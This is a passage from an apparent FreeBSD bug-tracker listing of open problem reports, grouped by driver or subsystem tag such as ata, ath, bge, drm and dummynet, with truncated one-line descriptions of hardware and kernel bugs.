MCP55 sata control o kern/132252 [ata] No CD/DVD devices found! o amd64/131906 amd64 [ata] SATA data corruption with Promise PDC20378 (amd6 f kern/131796 [ata] Introducing new USB or eSATA disks results in at o kern/130794 [ata] hw.ata.ata_dma_limit without any effect o kern/130726 [ata] DMA errors accessing multiple SATA channels f amd64/130365 gavin [ata] Elitegroup A780GM-A Chipset:AMD 780G&SB700 IDE c o kern/130171 [ata] UDMA CF cards do not work with FreeBSD a kern/130018 [ata] Marvell 6145 ata controller gets detected as PAT o kern/129784 [ata] [patch] SATA port multiplier disk detect bugs in o amd64/129667 amd64 [ata] Elitegroup A780GM-A IDE controller not recognize o kern/129373 [ata] [panic] Panic in ata-queue, VIA CLE266, 7.1-BETA o amd64/128686 amd64 [ata] can't detect SATA Disk on 8.0-Current with NF550 o kern/128035 [ata] unexpexted detach of external SATA drive f kern/127813 linimon [ata] ata diver dma mode work incorrectly on chip vt82 o kern/127717 [ata] [patch] - support write cache toggling per devic f kern/127517 [ata] sata does not detect SATA-300 disk but instead d p kern/127411 [ata] [panic] ata panics on bad block o kern/127391 [ata] [patch] Intel 6300ESB SATA150 cannot find disk a o kern/127316 [ata] non aligned DMA transfer errors when using growi p kern/127289 [ata] [patch] new pci ids for SiI3132 present on adapt p kern/127250 [ata] Kerneltrap 12 with atacontrol f kern/127119 [ata] incorrect ata device probing o kern/126807 [ata] PATA DVD drive attached to AMD IXP700 chipset no o kern/126242 [ata] Read error from SATA CD/DVD-drives [regression] o kern/126142 [ata] M5281: READ DMA faults, device detaching o kern/125859 [ata] [patch] sata access failure [regression] a kern/125139 philip [patch] [ata] bugs in ATAPI CD tray control o kern/124670 [ata] large file operation on RAID cause many GEOM err o kern/123980 [ata] [patch] Implement ATA UDMA speed limit (hw.ata.a o kern/123887 [ata] PDC20262 does not support 48 bit DMA access p kern/123754 mav [ata] [panic] atacontrol(8): atacontrol reinit causing o kern/122670 [ata] [patch] broken acd_get_progress = ioctl CDRIOCGE f kern/122368 [ata]: Failure to support SATA/PATA drives on 6.3 and o kern/122291 [ata] acd0: timeout waiting to issue command / acd0: e p kern/122045 [ata] [panic] reiniting detached ata channel kills the f kern/121703 [ata] Cannot fdisk/gpt with 1TB SATA disk and 965QM Mo o kern/121686 [ata] bogus CHS to LBA mapping in (at least) ata o i386/121675 i386 [ata] incorrect fallback to udma33 with CF memory inst o sparc/121539 [ata] Interrupt storm booting 7.0-R/sparc64 on ultra5 o kern/121521 [ata] [patch] add VIA CX700M2 chipset to ata driver o kern/121461 [ata] SATA Hard disks are not detected on SiS 180/181 o kern/121396 [ata] 7.0 fails on mcp55 sata controller [regression] o kern/121350 [ata] [panic] initiate_write_inodeblock_ufs2: already o kern/120717 [ata] boot problem when recognizing ata1 o kern/120534 [ata] Troubles in work with SAS controller Adaptec 941 o kern/120507 [ata] Errors while burning CDs using burncd(8) f kern/120296 linimon [ata] Unstable SATA on MB with Nvidia MCP 570 SLI chip o kern/120177 [ata] ATA DMA modes don't work on CF cards o kern/120009 [ata] Burning on FreeBSD is destroying SONY CD-Rs o kern/119894 [ata] Initialization of disc controller fails [regress o kern/119877 [ata] OS Fails to detect hard disks on HP Proliant ML1 o kern/119838 [ata] udma100 enabled althrough improper cable on nVid o kern/119374 thomas [ata] [regression] ATAPI or ATAPICAM bug (regression i f kern/119303 linimon [ata] SATA HDD missing in 7.0-RC1, ok in 7.0-BETA4; at o kern/119140 [ata] [panic] Kernel panic with sata drive and dma pro o kern/118573 [ata] FreeBSD doesnt support my optical drive o kern/118447 [ata] [patch] Troublesome DMA modes with VIA Apollo VP o kern/118342 [ata] Unable to mount root on ata drive w/ Cyrix 5530 s kern/118158 [ata] SONY SDX-570V (ATAPI) hangs frequently o kern/117972 [ata] SATA DLT V4 not recognized properly o kern/117443 [ata] [hang] system hang with ataidle o kern/117421 [ata] [hang] System hang with failing SATA disk (SiI31 o amd64/117296 amd64 [ata] I don`t see second SATA IDE on VIA VT8237A o kern/117215 [ata] Kernel errors accessing audio CDs w/ Samsung SAT o kern/116935 [ata] Intermittent error with Promise PDC40718 o kern/116415 [ata] 6.2-STABLE does not work on Gigabyte GA-P35-S3 ( o kern/116270 [ata] READ_DMA48 UDMA ICRC error s amd64/115815 amd64 [ata] [request] Gigabyte GA-M61P-S3 Motherboard unsupp f kern/115614 thomas [ata] Recent ATA driver changes have broken cdrecord [ o kern/115479 [ata] [request] ASUS P5K SE need more support o kern/115232 [ata] Audio CD tracks not displayed properly by atapi o kern/115152 [ata] Sil 3512 SATA controller panics on 6.2 o kern/114213 [ata] optical drive not detected in the 6.x series of o kern/112282 [ata] atacontrol(8): changing DMA modes when disk is r o i386/112036 i386 [ata] TIMEOUT - WRITE_DMA retrying, TIMEOUT - READ_DMA o kern/111196 [ata] [hang] SATA drives cause errors and cause system p kern/111023 mav [ata] [request] [patch] please expand ata timeouts o kern/110407 [ata] ATA drivers not recognizing Seagate CF Microdriv o kern/109736 [ata] FreeBSD sysinstall from CD can't find & mount NE s i386/109200 i386 [ata] READ_UDMA UDMA ICRC error cause not detecting ca o kern/108379 [ata] Secondary SATA drive not detected by FreeBSD 6.2 o amd64/107639 [ata] Kernel Panic/Crash on dd if=/dev/ad4 of=/dev/ad6 o kern/107622 [ata] can't boot on HP Pavilion dv6000 / problem with f kern/107292 [ata] cannot install - Unable to find device /dev/ad0s f kern/107287 [ata] page fault during install on Intel SATA on Intel o kern/106432 [ata] Record of disks (DVD-R) through the k3b program s kern/106340 [ata] [request] Need to control disk write cache on pe f amd64/105531 amd64 [ata] gigabyte GA-M51GM-S2G / nVidia nForce 430 - does o usb/105065 usb [ata] [usb] SATA - USB Bridge s kern/104950 [ata] [request] no support for SATA controller Initio p kern/104818 [ata] Missing driver Silicon Image SiI 3132 SATA II PC o kern/104799 [ata] Several ata observations ICH8 BIOS o i386/104719 i386 [ata] Seagate ST3802110A errors/delays when using PIO4 f i386/104572 i386 [ata] issues with detecting HDD on Intel Q965 Express o kern/103883 [ata] DMA is not defaulted on WDMA device (SIS integra s i386/103624 i386 [ata] [install] Problem installing on Dell Powervault p kern/103075 [ata] SATA disk attach/unplug from a MV88SX5041 freeze o kern/101734 [ata] -CURRENT cannot see SATA drive on ASUS A8N-SLI ( o kern/99652 [ata] nVidia nForce MCP51 controller hangs w/ 2 drives o kern/99567 [ata] Powerup of sleeping IDE drives causes system reb o kern/99088 [ata] Critical Problems with VIA 8251 SATA2/RAID Contr o kern/99017 [ata] [patch] FreeBSD versions above 5.3 panic if atap o kern/98962 remko [ata] [burncd]: [patch] writing >1 session on ATAPI CD o i386/98765 i386 [ata] timeouts on sata drive (Asus a7n8x-e) o kern/98388 [ata] FreeBSD 6.1 - WDC WD1200JS SATA II disks are see o kern/97996 [ata] DMA is broken for VIA 82C596B UDMA66controller o i386/97263 i386 [ata] FreeBSD only detects first drive on PDC20378 378 f i386/96302 gavin [ata] nVidia nForce CK804 SATA300 controller not recog o kern/96171 [ata] burncd (ATA driver) fails to write in vcd mode o amd64/95888 amd64 [ata] kernel: ad2: TIMEOUT - WRITE_DMA retrying on HP f i386/94911 gavin [ata] [regression] ata regression with DOM-IDE o kern/94155 [ata] 6.1 CF reader problem: "ad1: FAILURE - SETFEATUR f i386/93923 i386 [ata] FreeBSD Install, Sil3112: Cannot dump. No dump d o kern/93885 [ata] ata(4) failure: SETFEATURES SET TRANSFER MODE se o kern/92786 [ata] [patch] ATA fixes, write support for LSI v3 RAID o kern/92238 [ata] [patch] Spurious "atapci1: failed to enable memo s kern/91290 [ata] ata(4) error on 7.0-CURRENT-20051229-SNAP-PC98 s kern/91038 acpi [panic] [ata] [acpi] 6.0-RELEASE on Fujitsu Siemens Am o kern/90206 [ata] [reboot] Server reboot after "FAILURE - out of m f i386/88929 i386 [ata] FreeBSD 6.0 install CD fails to find disks on So o kern/85450 [ata] [panic] subdisk6 detached (appears to be a sata o kern/79783 [ata] hw.ata.atapi_dma=1 reduces HDD writing transfer o kern/78758 [ata] [patch] Add support for re-sizing ATA disks f kern/73740 [ata] [panic] 5-3-R#3 panic when accessing nfs exporte f kern/61960 linimon [ata] [patch] BigDrive support for PC-98 architecture o kern/36911 [ata] ATA cannot be disabled with hints or through BIO 140 problems total. Problem reports for tag 'atapicam': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/120787 [atapicam] hardware troubles with atapicam and dvd f kern/118161 thomas [atapicam] failure message from ATAPI CDROM in the boo o kern/117028 [atapicam] [panic] brelse: free buffer onto another qu o kern/116701 [atapicam] atapicam hangs initializing SATA DVDRs on s o kern/108202 [atapicam] atapicam error after upgrade to 6.2 [regres o kern/106490 [atapicam] atapicam fails with ATAPI-CD/DVD drives att o kern/100516 [atapicam] atapicam with ITE IT8212F crashes the syste o i386/99608 i386 [atapicam] ATAPI or CAM crash on FreeBSD 6.1-stable wi o kern/95407 [atapicam] atapicam, cd and /etc/rc.d/devfs problem o kern/91572 [atapicam] [panic] writing to UFS/softupdates DVD medi o kern/80714 [atapicam] drop/boot to single user hangs on 5.4-RELEA a kern/78929 [atapicam] atapicam prevents boot, system hangs o kern/63629 thomas [atapicam] mounting atapicam volume through cd0c cause o kern/60699 [atapicam] DVD Multidrive udma mode autosensed wrong 14 problems total. Problem reports for tag 'ataraid': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134887 [ataraid] source consistency problem o kern/134054 [ataraid] [panic] traps kernel on boot if Intel Matrix o i386/89249 [ataraid] HighPoint RocketRAID 1520 (HPT372N) can't wr 3 problems total. Problem reports for tag 'ate': S Tracker Resp. Description -------------------------------------------------------------------------------- o arm/121242 ticso [ate] [patch] Promiscuous mode of if_ate (arm) doesn't 1 problem total. Problem reports for tag 'ath': S Tracker Resp. Description -------------------------------------------------------------------------------- f i386/135427 vwe [ath] [hang] System freezes when loading Atheros drive o kern/132722 net [ath] Wifi ath0 associates fine with AP, but DHCP or I o kern/131162 net [ath] Atheros driver bugginess and kernel crashes o kern/129750 net [ath] Atheros AR5006 exits on "cannot map register spa o kern/126475 net [ath] [panic] ath pcmcia card inevitably panics under o kern/126214 net [ath] txpower problem with Atheros wifi card o kern/125721 [ath] Terrible throughput/high ping latency with Ubiqu o kern/125617 [ath] ath(4) related panic o kern/125501 [ath] atheros cardbus driver hangs o kern/125332 [ath] [hang] crash under any non-tiny networking under o kern/122697 net [ath] Atheros card is not well supported f kern/121394 sam [ath] FreeBSD access point (ath0) fails 100% of the ti o kern/121061 sam [ath] [panic] panic while ejecting ath(4)-adapter duri o kern/120376 imp [ath] High interrupt load when booting with ath (PCMCI o kern/120282 imp [ath] [panic] resource_list_release: resource entry is f kern/119345 vwe [ath] Unsuported Atheros 5424/2424 and CPU speedstep n s kern/117513 vwe [panic] [ath] Fatal trap 12: page fault while in kerne s kern/116444 vwe [ath] Atheros 5005G (AR5212) miniPCI: unable to attach f kern/115226 vwe [ath] ath0: unable to attach hardware; HAL status 13 o kern/107279 [ath] panic: ath_start: attempted use of a free mbuf! o kern/105348 net [ath] ath device stopps TX f sparc/94483 sam [ath] ath_hal does not work on 6-release/sparc64 o kern/93886 net [ath] Atheros/D-Link DWL-G650 long delay to associate f kern/88082 net [ath] [panic] cts protection for ath0 causes panic 24 problems total. Problem reports for tag 'aue': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/135938 usb [aue] aue driver only passes traffic in promisc mode o usb/131576 usb [aue] ADMtek USB To LAN Converter can't send data o kern/91311 net [aue] aue interface hanging o usb/71280 usb [aue] aue0 device (linksys usb100tx) doesn't work in 1 o kern/61300 [aue] [patch] Enabling HomePNA PHY on aue(4) for HomeP o kern/51009 [aue] [patch] buggy aue driver fixed. 6 problems total. Problem reports for tag 'axe': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/119981 usb [axe] [patch] add support for LOGITEC LAN-GTJ/U2 gigab o usb/106621 usb [axe] [patch] DLINK DUB-E100 support broken o usb/88408 usb [axe] axe0 read PHY failed 3 problems total. Problem reports for tag 'bce': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136417 [bce] bce BCM5709 "No PHY found on child MII bus" on I o kern/135836 net [bce] bce BCM5709 Watchdog after warm boot - ok after f kern/134788 delphij [bce] failure to set ip address in amd64 if_bce.c, i38 o kern/134658 net [bce] bce driver fails on PowerEdge m610 blade. o amd64/131209 amd64 [panic] [bce] 7.1-STABLE amd64 crash - m0 NULL o kern/125389 [ipmi] [bce] IPMI problem with bce f kern/123172 net [bce] Watchdog timeout problems with if_bce a kern/118238 net [bce] [patch] bce driver shows "no carrier" on Intel S o kern/108542 net [bce] Huge network latencies with 6.2-RELEASE / STABLE o kern/107850 net [bce] bce driver link negotiation is faulty o kern/100858 davidch [bce] Broadcom bce driver and SMP hangup 11 problems total. Problem reports for tag 'bfe': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/104349 i386 [bfe] Panic while uploading data via bfe network inter p kern/98015 remko [bfe] [patch] bfe(4): double free in error handling pa o kern/96030 net [bfe] [patch] Install hangs with Broadcomm 440x NIC in 3 problems total. Problem reports for tag 'bge': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133328 net [bge] [panic] Kernel panics with Windows7 client o kern/132991 net [bge] if_bge low performance problem s kern/127587 net [bge] [request] if_bge(4) doesn't support BCM576X fami o kern/123347 net [bge] bge1: watchdog timeout -- linkstate changed to D o kern/122551 net [bge] Broadcom 5715S no carrier on HP BL460c blade usi f kern/122252 net [ipmi] [bge] IPMI problem with BCM5704 (does not work o kern/121080 net [bge] IPv6 NUD problem on multi address config on bge0 o kern/120791 [bge] The Broadcom BCM5703 A2 NIC is running a lot of a kern/118879 net [bge] [patch] bge has checksum problems on the 5703 ch o kern/116328 net [bge]: Solid hang with bge interface o kern/112570 net [bge] packet loss with bge driver on BCM5704 chipset o kern/109733 net [bge] bge link state issues [regression] o kern/104862 [bge] BCM5704 only works at 10Mbit o kern/104826 andre [bge] FreeBSD 6.1 not RFC 768 (UDP) compliant on Compa o kern/104485 net [bge] Broadcom BCM5704C: Intermittent on newer chip ve o kern/103715 [bge] [request] Broadcom BCM5708SKFB not recognised by o kern/100410 [bge] bge driver disables access to shared iLo on HP D o i386/96382 i386 [bge] In 6.1-RC1 the bge driver does not reliably work s kern/94863 net [bge] [patch] hack to get bge(4) working on IBM e326m o kern/94424 [bge] BGE5721 or BGE5750? o kern/94162 net [bge] 6.x kenel stale with bge(4) o kern/92090 net [bge] bge0: watchdog timeout -- resetting f kern/73538 net [bge] problem with the Broadcom BCM5788 Gigabit Ethern f i386/45773 net [bge] Softboot causes autoconf failure on Broadcom 570 24 problems total. Problem reports for tag 'bktr': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/127131 multimedia [bktr] /usr/src/sys/dev/bktr/bktr_os.c, line 469: wron o kern/120884 [bktr] [patch] bktr driver always stores the contigmal o kern/108133 jmg [bktr] [patch] bktr driver doesn't recognize Hauppauge o kern/105604 [bktr] [patch] add support for Pixelview PlayTV Pro 2 o kern/104675 [bktr] METEORSINPUT seemingly not setting input o kern/102549 [bktr] [patch] fix Pixelview PlayTV Pro 2 on bktr o kern/94369 itetcu [bktr] [patch] Patch to support Leadtek WinFast Tv2000 o kern/89553 [bktr] [patch] going from 5.3 -> 6.0 winTV card not pr o kern/81180 [bktr] bktr(4) driver cannot capture both audio and vi o kern/79066 [bktr] bktr(4) eating about 10% CPU load once it was u s kern/60599 multimedia [bktr] [partial patch] No sound for ATI TV Wonder (ste o kern/59289 [bktr] [patch] ioctl METEORGBRIG in bktr_core.c forget o kern/57603 [bktr] bktr driver: freeze on SMP machine o kern/56245 [bktr] Distorted and choppy video with bktr-driver on s kern/48279 [bktr] Brooktre878 may cause freeze o kern/37326 [bktr] smbus/bktr crash when omitting "device iicsmb" a kern/36451 [bktr] [patch] Japan IF frequency is incorrect o kern/36415 [bktr] [patch] driver incorrectly handles the setting o kern/35289 [bktr] [patch] Brooktree device doesnt properly signal o kern/32812 [bktr] bktr driver missing tuner for eeprom detection. 20 problems total. Problem reports for tag 'bluetooth': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/128598 net [bluetooth] WARNING: attempt to net_add_domain(bluetoo o kern/99200 usb [bluetooth] SMP-Kernel crashes reliably when Bluetooth 2 problems total. Problem reports for tag 'boot0': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/134242 i386 [boot0] [patch] improvement i386 boot0 error diagnose o i386/70531 i386 [boot0] [patch] boot0 hides Lilo in extended slice 2 problems total. Problem reports for tag 'boot0cfg': S Tracker Resp. Description -------------------------------------------------------------------------------- o bin/127764 [boot0cfg] [patch] preserve NT disk UID data for boot0 1 problem total. Problem reports for tag 'boot1': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/91871 i386 [boot1] [patch] boot1: jump to 0xf000:0xfff0 instead o 1 problem total. Problem reports for tag 'boot2': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/35262 [boot2] [patch] generation of boot block for headless 1 problem total. Problem reports for tag 'bootinst': S Tracker Resp. Description -------------------------------------------------------------------------------- o misc/22914 [bootinst] bootinst messages are not updated 1 problem total. Problem reports for tag 'bpf': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133490 net [bpf] [panic] 'kmem_map too small' panic on Dell r900 f kern/89752 dwmalone [bpf] [patch] bpf_validate() needs to do more checks o kern/16644 dwmalone [bpf] [patch] Bad comparison expression in bpf_filter. 3 problems total. Problem reports for tag 'bsd.apache.mk': S Tracker Resp. Description -------------------------------------------------------------------------------- o ports/133197 pgollucci [bsd.apache.mk] Rephrase IGNORE statement, kill EOL sp 1 problem total. Problem reports for tag 'bsd.cpu.mk': S Tracker Resp. Description -------------------------------------------------------------------------------- o conf/30399 brueffer [bsd.cpu.mk] [patch] Have Fortran use the CPUTYPE vari 1 problem total. Problem reports for tag 'bsd.fpc.mk': S Tracker Resp. Description -------------------------------------------------------------------------------- o ports/133254 acm [bsd.fpc.mk] don't display bogus message for fpc-using 1 problem total. Problem reports for tag 'bsd.port.mk': S Tracker Resp. Description -------------------------------------------------------------------------------- o ports/135221 portmgr [bsd.port.mk] unified support for LINUX_OSRELEASE depe 1 problem total. Problem reports for tag 'bsd.python.mk': S Tracker Resp. Description -------------------------------------------------------------------------------- o ports/133081 python [bsd.python.mk] PYEASYINSTALL_ARCHDEP=yes makes broken 1 problem total. Problem reports for tag 'busdma': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/119175 i386 [busdma] [patch] Typo in bus_dmamem_alloc() o amd64/93961 amd64 [busdma] Problem in bounce buffer handling in sys/amd6 o i386/76944 i386 [busdma] [patch] i386 bus_dmamap_create() bug 3 problems total. Problem reports for tag 'cam': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/130735 scsi [cam] [patch] pass M_NOWAIT to the malloc() call insid o usb/121474 usb [cam] [patch] QUIRK: SAMSUNG HM250JI in LaCie usb hard o kern/120858 scottl [patch] [cam] panic: ufs_dirbad with CLARiiON CX3-40 o kern/119668 scsi [cam] [patch] certain errors are too verbose comparing o usb/119653 usb [cam] [patch] iriver s7 player sync cache error patch o usb/119201 usb [cam] [patch] Quirks for Olympus FE-210 camera, LG and o usb/107243 usb [cam] [patch] Apacer USB Flash Drive quirk o usb/97472 usb [cam] [patch] add support for Olympus C150,D390 o usb/96381 usb [cam] [patch] add a quirk table entry for a flash ram o usb/93872 usb [cam] [patch] SCSI quirk required for ELTA 8061 OL USB s kern/85975 [cam] devfs does not create entries when removable med o kern/76893 [cam] [patch] Fatal divide in booting processes with B s kern/72041 [cam] [hang] Deadlock when disk is destroyed while use s bin/57088 [cam] [patch] for a possible fd leak in libcam.c s kern/28840 gibbs [cam] Possible interrupt masking trouble in sys/cam/ca s i386/17662 gibbs [cam] cam_xpt.c incorrectly disables tagged queuing fo o kern/17504 [cam] [patch] Another Micropolis Synchronize Cache Pro 17 problems total. Problem reports for tag 'cardbus': S Tracker Resp. Description -------------------------------------------------------------------------------- f i386/125880 i386 [cardbus] Cardbus cards Don't function on TI PCIxx12 C o kern/122749 [cardbus] cardbus problem on IBM Thinkpad T60P o kern/121761 [cardbus] [dc] a cardbus dc0 causes a system freeze wh o kern/121760 [pccard] [cardbus] an ed1 network pccard's CIS wasn't o kern/121759 [cardbus] [dc] cardbus dc0 initialization failure at o a kern/115623 imp [cardbus] [patch] Xircom CardBus Ethernet II 10/100 Ad o kern/115371 imp [cardbus] [patch] Device removal leaves resource datab o kern/84954 imp [CARDBUS] cbb alloc res fail (with hw.cardbus.debug=1 8 problems total. Problem reports for tag 'carp': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133218 net [carp] [hang] use of carp(4) causes system to freeze o kern/132285 net [carp] alias gives incorrect hash in dmesg o kern/132107 net [carp] carp(4) advskew setting ignored when carp IP us o kern/129508 net [carp] [panic] Kernel panic with EtherIP (may be relat o kern/127050 net [carp] ipv6 does not work on carp interfaces [regressi f kern/126984 glebius [carp] [patch] add carp userland notifications via dev o kern/126945 net [carp] CARP interface destruction with ifconfig destro o kern/126714 net [carp] CARP interface renaming makes system no longer o kern/125816 net [carp] [if_bridge] carp stuck in init when using bridg f kern/125442 gonzo [carp] [lagg] CARP combined with LAGG causes system pa o kern/120130 net [carp] [panic] carp causes kernel panics in any conste o kern/117448 net [carp] 6.2 kernel crash [regression] o kern/117000 glebius [carp] CARP using address-less host NIC (carpdev) o kern/114095 pf [carp] carp+pf delay with high state limit 14 problems total. Problem reports for tag 'cbb': S Tracker Resp. Description -------------------------------------------------------------------------------- f amd64/123275 amd64 [cbb] [pcmcia] cbb/pcmcia drivers on amd64 failure [re o kern/114550 [cbb] Cardbus WiFi card activation problem f kern/96286 [cbb] [panic] TI1131 PCI CardBus Bridge: driver cbb le 3 problems total. Problem reports for tag 'cd9660': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/130941 gavin [panic] [cd9660] [geom] unexpected crash due to page f o kern/114955 fs [cd9660] [patch] [request] support for mask,dirmask,ui 2 problems total. Problem reports for tag 'ciss': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132250 scsi [ciss] ciss driver does not support more then 15 drive o kern/125723 [ciss] System randomly crashes or can not boot - ciss o kern/125647 [ciss] [panic] System randomly crashes - ciss driver o kern/115997 scottl [ciss] [panic] [patch?] kernel panics on heavy disk I/ o kern/109813 [ciss] ciss(4) driver API header is not installed 5 problems total. Problem reports for tag 'cpufreq': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/128335 [patch] [cpufreq] Missing call to sbuf_delete() in two o amd64/122695 amd64 [cpufreq] Lack of cpufreq control using amd64 eith cor o kern/121768 [cpufreq] cpufreq module RELENG_6 -> 7 regressions on o kern/118739 [cpufreq] [patch] Allow the cpufreq/p4tcc driver to de o amd64/114270 amd64 [cpufreq] cpufreq doesnt work when compiled in to kern 5 problems total. Problem reports for tag 'crypto': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136123 [crypto] device crypto breaks sparc64 kernel o kern/132277 net [crypto] [ipsec] poor performance using cryptodevice f o kern/132129 [crypto] Device crypto makes the kernel unbootable o kern/120270 simon [crypto] [patch] AES-192 and AES-256 support for HW-ac o kern/115695 [crypto] When "device padlock" defined first ssh to ma f kern/114331 vanhu [crypto] [patch] VIA padlock freesession bug o bin/93776 [crypto] [patch] SHA256_Update / SHA512_Update fail to o kern/91407 [crypto] [panic] Kernel panic when heavily loading cry o kern/66029 [crypto] [patch] MD5 alignment problem on a TriMedia p o kern/43611 [crypto] [patch] static-ize some symbols in sys/crypto 10 problems total. Problem reports for tag 'cue': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/75710 [cue] cue0 device configuration causes kernel panic 1 problem total. Problem reports for tag 'cx': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/66348 rik [cx] FR mode of cx (Cronyx Sigma) does not work for 4. 1 problem total. Problem reports for tag 'cxgb': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/125806 kmacy [cxgb] cxgb packet counters do not work 1 problem total. Problem reports for tag 'cy': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/126098 [cy] 6.3 only sees 16 ports on 32 port Cyclades Cyclom 1 problem total. Problem reports for tag 'dc': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/121761 [cardbus] [dc] a cardbus dc0 causes a system freeze wh o kern/121759 [cardbus] [dc] cardbus dc0 initialization failure at o o kern/119205 [dc] [patch] Collect various stats regarding dc(4) int s kern/92279 net [dc] Core faults everytime I reboot, possible NIC issu o kern/82070 [dc] Not all dc(4) devices can be used: MII without an f kern/79262 net [dc] Adaptec ANA-6922 not fully supported o kern/55793 [dc] Flaky behavior of if_dc when initializing a LNE10 f kern/52980 mbr [dc] [patch] dc driver fails to init Intel 21143 Cardb o kern/50574 mbr [dc] dc driver incorrectly detects ADMtek chip model o kern/30052 mbr [dc] [patch] dc driver queues outgoing pkts indefinite 10 problems total. Problem reports for tag 'de': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133495 [de] interface not properly initialized on boot o kern/71450 [de] de(4): MAC address change on 21040 "Tulip" Ethern a kern/55542 andre [de] [patch] discard oversize frame (ether type 800 fl 3 problems total. Problem reports for tag 'devctl': S Tracker Resp. Description -------------------------------------------------------------------------------- a kern/130107 dfr [devctl] [patch] in devctl_queue_data(): possible use 1 problem total. Problem reports for tag 'devd': S Tracker Resp. Description -------------------------------------------------------------------------------- o conf/120406 rc [devd] [patch] Handle newly attached pcm devices (eg. 1 problem total. Problem reports for tag 'devfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/125034 [devfs] [patch] devfs does not apply rules to newly cr o kern/125030 [devfs] [patch] Command 'devfs ruleset 0' causes panic o kern/124881 [devfs] [patch] [request] Add possibility to check whi o kern/123287 [devfs] structure used after freed in destroy_devl() i o kern/122838 [devfs] devfs doesn't handle complex paths (like zvol/ o kern/122615 [devfs] [panic] occasional crash/boot while running Xo o kern/114057 [devfs] devfs symlink over device doesn't work o conf/91342 [devfs] Errors in devfs.rules files don't get logged o kern/87836 [devfs] If using ATAPICAM with cd(dvd)rw without media o kern/85751 [devfs] [panic] panic in devfs_setattr() when running 10 problems total. Problem reports for tag 'devfs.rules': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/124853 gonzo [devfs.rules] [patch] devfs_ruleset_use may use freed 1 problem total. Problem reports for tag 'digi': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/125454 [digi] [patch] device digi (PC/Xe 64K 16 ports) not wo o kern/83254 [digi] driver can't init Digiboard PC/4e o kern/82227 [digi] Xem: chained concentrators not recognised o kern/74281 [digi] digi(4): Digiboard PCI Xem (64-ports) detection p kern/55018 andre [digi] [patch] Digiboard PC/Xem fails to initialize wh 5 problems total. Problem reports for tag 'diskless': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/87586 [diskless] [vm] [panic] Unable to use networked swap i 1 problem total. Problem reports for tag 'dns': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/103464 bz [dns] [jail] jail networking failures to 127.0.0.1 onl 1 problem total. Problem reports for tag 'dpt': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/38828 scsi [dpt] [request] DPT PM2012B/90 doesn't work 1 problem total. Problem reports for tag 'dri': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/123775 [dri] DRI Broken under freebsd7-stable/i386 o kern/119507 [dri] mach64.o kernel module version is 1.0.0, but ver o kern/107342 [dri] Radeon dri breaks system o amd64/97337 amd64 [dri] xorg reboots system if dri module is enabled 4 problems total. Problem reports for tag 'drm': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134800 [drm] radeon driver freezes Xorg server with drmwtq p kern/132042 rnoland [drm] [panic] drm module crash the system when closing o kern/128648 [drm] [hang] crash when using 3D-acceleration with Int o kern/126937 rnoland [drm] System hang when start X o kern/126113 rnoland [drm] Issues with DRM with Intel GM965 chipset o kern/125808 rnoland [drm] [patch] Radeon X800 GTO - *ERROR* Offset failed f kern/121550 [drm] Can't config graphics for ATI Radeon Xpress 200M o kern/120970 rnoland [drm] Radeon Problems related to DRM and/or DRI o kern/120262 rnoland [drm] "0MB"; no dri with i915G [regression] o kern/116435 [drm] drm/i915 reports memory leak o kern/114995 [drm] acpi_video prevents savage drm from loading succ o kern/114677 [drm] Xorg will not run with dri glx and drm on ATI Ra o kern/114546 [drm] [panic] Sleeping thread owns a non-sleepable loc o kern/114406 [drm] ATI Radeon Mobility X600 not supported by agp de o kern/94823 [drm] DRM doesnt't work with i915.ko o kern/93770 [drm] ati 9600 PRO radeon not recognized by the system o kern/90237 [drm] [panic] panic in sis DRM s kern/87653 [drm] ATI Radeon Mobile X600SE not detected by kernel o kern/82064 [drm] DRM not working with SMP 19 problems total. Problem reports for tag 'dtrace': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134408 [dtrace] [panic] "opensnoop" DTrace script panics ever o kern/130998 [dtrace] DTrace stops tracing because of struct thread o kern/127441 jb [dtrace] Dtrace timestamp variable is wrapping as if d o kern/127440 jb [dtrace] Dtrace arg0/arg1 variables don't contain retu 4 problems total. Problem reports for tag 'dummynet': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134157 net [dummynet] dummynet loads cpu for 100% and make a syst o kern/133969 net [dummynet] [panic] Fatal trap 12: page fault while in o kern/133968 net [dummynet] [panic] dummynet kernel panic o kern/121382 ipfw [dummynet]: 6.3-RELEASE-p1 page fault in dummynet (cor f kern/118128 oleg [dummynet] Dummynet cause kernel trap or system freeze o kern/106316 net [dummynet] dummynet with multipass ipfw drops packets o kern/76539 [dummynet] [patch] ipnat + dummynet on output on same 7 problems total. Problem reports for tag 'ecmp': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/123992 qingli [ecmp] ECMP does not remove/disable next-hop for 